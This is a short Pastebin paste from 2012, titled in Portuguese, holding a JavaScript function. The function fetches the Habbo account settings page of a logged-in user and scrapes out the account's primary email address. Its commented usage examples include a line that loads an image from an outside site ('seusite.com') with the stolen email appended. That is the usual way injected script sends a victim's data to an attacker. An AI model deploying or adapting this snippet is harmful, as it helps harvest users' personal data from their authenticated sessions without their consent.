Advertisement
nPhoenix

[Habbo] E-mail primário em function (o_O)

Jun 18th, 2012
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function getPrimary_Email() {
  2.     req = new XMLHttpRequest();
  3.     req.open('GET', '/identity/settings', false);
  4.     req.send(null);
  5.     return (req.responseText.match(/>(.+)@(.+)</)[0].split(/>/)[1].split(/</)[0]);
  6. };
  7.  
  8. /* exemplos:
  9. alert(getPrimary_Email());
  10. console.log(getPrimary_Email());
  11. document.write(getPrimary_Email());
  12. a = new Image(); a.src = "http://seusite.com?e=" + getPrimary_Email();
  13. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement